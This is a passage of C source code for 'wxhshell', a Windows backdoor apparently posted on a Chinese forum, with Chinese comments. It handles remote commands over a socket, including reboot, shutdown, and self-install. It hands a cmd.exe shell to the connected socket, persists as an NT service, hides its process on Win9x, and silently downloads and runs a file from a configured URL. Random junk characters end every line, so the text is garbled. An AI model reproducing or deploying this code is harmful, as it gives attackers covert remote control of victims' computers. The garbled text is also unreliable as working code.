  case '?': { CV6W)B%Se  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >Y&o2zJy  
    break; Re'Ek  
  } '>|5  
  // 安装 c# WIB 4  
  case 'i': { O}"fhMk  
    if(Install()) 4(\7Or(''  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?[ vC?P  
    else |c!lZo/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |} K7Q  
    break; `H\NJ,  
    } &E8fd/s= k  
  // 卸载 Hxd ^oE  
  case 'r': { 8_ _C T  
    if(Uninstall()) "_/5{Nc$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hdee]qLS  
    else vghn+P8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w^QqYUL${  
    break; [{9&KjI0K  
    } Q@#Gm9m  
  // 显示 wxhshell 所在路径 G3t 4$3|  
  case 'p': { 0B~Q.tyP  
    char svExeFile[MAX_PATH]; \{`*`WQF  
    strcpy(svExeFile,"\n\r"); K?aUIkVs  
      strcat(svExeFile,ExeFile); V3}$vKQ  
        send(wsh,svExeFile,strlen(svExeFile),0); =6+j Po{F  
    break; 7S9Q{  
    } XvW $B|  
  // 重启 7q:  
  case 'b': { M;qV% k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <(-4?"1  
    if(Boot(REBOOT)) 9 !qVYU42(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^o*$+DbC  
    else { zs@[!?A,  
    closesocket(wsh); d@t3C8  
    ExitThread(0); $~*d.  
    } L\asrdL?=  
    break; MHKB:t]hA  
    } j\8'P9~%  
  // 关机 EM.rO/qcW  
  case 'd': { uDi#a~m@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %uLyL4*L(p  
    if(Boot(SHUTDOWN)) 9CTvG zkw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dbLxm!;(  
    else { I Ux svW+  
    closesocket(wsh); b(H) 8#C  
    ExitThread(0); q! U'DDEP  
    } 7?JcB?G4  
    break; }D eW2Jp  
    } j>OB<4?.+  
  // 获取shell /I&b5Vp  
  case 's': { =Z(#j5TGvH  
    CmdShell(wsh); Bh,LJawE  
    closesocket(wsh); tC -H2@  
    ExitThread(0); da&f0m U  
    break; _Uz}z#jt  
  } CVFsp>+  
  // 退出 ~cEr <mzR  
  case 'x': { >K;'dB/m;1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MhpR^VM'.  
    CloseIt(wsh); q<cpU'-#  
    break; )ozN{&B6  
    } 0Ti>PR5M  
  // 离开 #i GRi!$h  
  case 'q': { VCvqiHn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oWUDTio#[  
    closesocket(wsh); {m%X\s;ni  
    WSACleanup(); XP-4=0zd  
    exit(1); "ci<W_lx  
    break; 'Kj8X{BSFb  
        } oos35xV .  
  } D0&{iZ(  
  } J ;wA  
(8(z42  
  // 提示信息 Zb7:qe<UN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =JnUTc _u  
} ico(4KSk  
  } xQhvs=Zm]  
S&P5##.u`  
  return; 1`_i%R^  
} c};Qr@vpo  
O({-lI  
// shell模块句柄 :Y[r^=>  
int CmdShell(SOCKET sock) Yg#)@L  
{ Do|`wpR  
STARTUPINFO si; 8Q1){M9 '  
ZeroMemory(&si,sizeof(si)); :8aIj_qds  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K9*#H(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .W&rcqy  
PROCESS_INFORMATION ProcessInfo; <ZNa`  
char cmdline[]="cmd"; m H'jr$ ?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); STmCj  
  return 0; +:[dviyPt  
} Q=9S?p M  
.0q %A1H  
// 自身启动模式 [J+K4o8L<A  
int StartFromService(void) "t"=9:_t  
{ L$x/T3@  
typedef struct `#X{.  
{ ";e0-t6:  
  DWORD ExitStatus; pDlh^?cux  
  DWORD PebBaseAddress; V@K}'f~  
  DWORD AffinityMask; x9HA^Rj4-  
  DWORD BasePriority; um&e.V)N  
  ULONG UniqueProcessId; B%9[  
  ULONG InheritedFromUniqueProcessId; JCZJ\f*EZ  
}   PROCESS_BASIC_INFORMATION; f(?`PD[  
+Z[%+x92  
PROCNTQSIP NtQueryInformationProcess; 0p$?-81BJ  
q#PGcCtu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MT#9x>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nZN]Q9  
k>n^QHM  
  HANDLE             hProcess; h3xX26l  
  PROCESS_BASIC_INFORMATION pbi; 4#=!VK8ZH  
Xb3vvHdI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eeb 8v:4  
  if(NULL == hInst ) return 0; # dxlU/*  
g m],  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Af0E_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a@,tf'Sr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S-yd-MtQp  
Ye!=  
  if (!NtQueryInformationProcess) return 0; K"b vUH  
Hv0sl+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p9_45u`u2  
  if(!hProcess) return 0; A Sy7")5  
zAB-kE\ )  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [;5HI'px  
qg6Hk:^r  
  CloseHandle(hProcess); ,l7ty#j  
6aQ{EO-]'=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jO:<"l^+u  
if(hProcess==NULL) return 0; 60AX2-sdJ,  
qm]ljut  
HMODULE hMod; #>ci!4Gz=Z  
char procName[255]; 7qXgHrr0|U  
unsigned long cbNeeded; &"C1XM  
#8|;Q`Or:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rT}d<c Sf  
5'V'~Q%  
  CloseHandle(hProcess); r?/>t1Z  
HNjkRl)QR  
if(strstr(procName,"services")) return 1; // 以服务启动 2 >xV&  
Gh|1%g"gm  
  return 0; // 注册表启动 +S%@/q  
} <)n   
#^#)OQq]  
// 主模块 l/rhA6kEU  
int StartWxhshell(LPSTR lpCmdLine) gYzKUX@  
{ 9fl !CG  
  SOCKET wsl; {Y'_QW1:2  
BOOL val=TRUE; YN>#zr+~  
  int port=0; ?QVD)JI*k  
  struct sockaddr_in door; Cv$TNkP*  
cS ];?tqrA  
  if(wscfg.ws_autoins) Install(); 4N` MY8',  
#2HygS  
port=atoi(lpCmdLine); )cs y^-qw  
QTn-n)AE  
if(port<=0) port=wscfg.ws_port; KI>7h.t  
sCRBKCR?  
  WSADATA data; <U,T*Ql1x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s^KxAw_IV  
|+`hSA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W+K=M*^D;c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &*)tqQeQf  
  door.sin_family = AF_INET; =C3l:pGMB;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x-Mp6  
  door.sin_port = htons(port); 6o1.?t?  
QdW%5lM+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bNaJ{Dm$R  
closesocket(wsl); 4a2&kIn  
return 1; KP<J~+_ik  
} ":-)mfgGU  
A<.Q&4jb  
  if(listen(wsl,2) == INVALID_SOCKET) { #sqDZ]\B  
closesocket(wsl); M;43F*   
return 1; 9I.v?Tap  
} .cZ&~ N  
  Wxhshell(wsl); ;_Rx|~!!  
  WSACleanup(); 09%eaoW  
%74 Ms  
return 0; \GvVs  
zw5~|<  
} Le3S;SY&  
Aoo'i  
// 以NT服务方式启动 W X\%FJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )Y *?VqZn  
{ *V"cu  
DWORD   status = 0; s~]nsqLt9p  
  DWORD   specificError = 0xfffffff; "]NQTUb;  
D 1hKjB&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zA"D0fr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QOF;j#H^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k Lv_P[I  
  serviceStatus.dwWin32ExitCode     = 0; |t]9RC.;7  
  serviceStatus.dwServiceSpecificExitCode = 0; ToMX7xz6  
  serviceStatus.dwCheckPoint       = 0; .i=%gg  
  serviceStatus.dwWaitHint       = 0; D{l.WlA.  
h |lQ TT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &^uzg&,;  
  if (hServiceStatusHandle==0) return; H|TzD "2N  
Bw#ubQJ8}  
status = GetLastError(); #63/;o:l$  
  if (status!=NO_ERROR) {X =\  
{ l.34h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .e"jnP~  
    serviceStatus.dwCheckPoint       = 0; VmUM _Q~  
    serviceStatus.dwWaitHint       = 0; f<}!A$wd  
    serviceStatus.dwWin32ExitCode     = status; n]$vCP  
    serviceStatus.dwServiceSpecificExitCode = specificError; O\D({>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); no/]Me!j=  
    return; \iL,l87  
  } tm|lqa  
T*{zL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R/Y/#X^b  
  serviceStatus.dwCheckPoint       = 0; Cir =(  
  serviceStatus.dwWaitHint       = 0; Ov<3?)ok  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "w'YZO]>  
} "yz\p,  
4KM$QHS5{  
// 处理NT服务事件,比如:启动、停止 iP!Y4F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G/8xS=  
{ ?X9 =4Z~w  
switch(fdwControl) 3=<iGX"z  
{ ~NcJLU!au  
case SERVICE_CONTROL_STOP: NuooA  
  serviceStatus.dwWin32ExitCode = 0; c df ll+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xBZ9|2Y s  
  serviceStatus.dwCheckPoint   = 0; kCC9U_dj,  
  serviceStatus.dwWaitHint     = 0; v|/3Mi9mz  
  { !:n),sFv45  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8;!Eqyt  
  } jo(Q`oxm!>  
  return; Z*TW;h0ZQ3  
case SERVICE_CONTROL_PAUSE: _kx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EU@mrm?  
  break; <zf+Ii1:,  
case SERVICE_CONTROL_CONTINUE: y="SzPl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V%0.%/<#5  
  break; rgYuF,BT.  
case SERVICE_CONTROL_INTERROGATE: $HXB !$d  
  break; ATzNV=2s  
}; ZKR z=(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (k5DbP[  
} wr$}AX  
 g_>ZE  
// 标准应用程序主函数 -oZ a c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wqwJpWIe  
{ f~q&.,I(  
KJ)nGoP>  
// 获取操作系统版本 _ <;Q=?'*  
OsIsNt=GetOsVer(); {.lF~cOu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E&>,B81  
ommKf[h%i  
  // 从命令行安装 *QG3Jz  
  if(strpbrk(lpCmdLine,"iI")) Install(); YMi(Cyja&  
}]~}DHYr  
  // 下载执行文件 NqZRS>60v  
if(wscfg.ws_downexe) { *3/7wSV:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Hr+-ndH!Pq  
  WinExec(wscfg.ws_filenam,SW_HIDE); VBX# !K1Q  
} r$#G%FMv  
46zaxcY<!  
if(!OsIsNt) { {IMzR'PN  
// 如果时win9x,隐藏进程并且设置为注册表启动 ILi5WuOYX  
HideProc(); 0`!Q-G7  
StartWxhshell(lpCmdLine); baNfS  
} E~>6*_?  
else reA8=>b/  
  if(StartFromService()) `oMeR]~  
  // 以服务方式启动 ya{>=  
  StartServiceCtrlDispatcher(DispatchTable); Z0=m:h  
else L, {rMLM%  
  // 普通方式启动 [)3 U])w/  
  StartWxhshell(lpCmdLine); B (1,Rq[  
<]'"e]  
return 0; @ g75T`N  
}
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只看该作者 1 发表于: 2006-10-10
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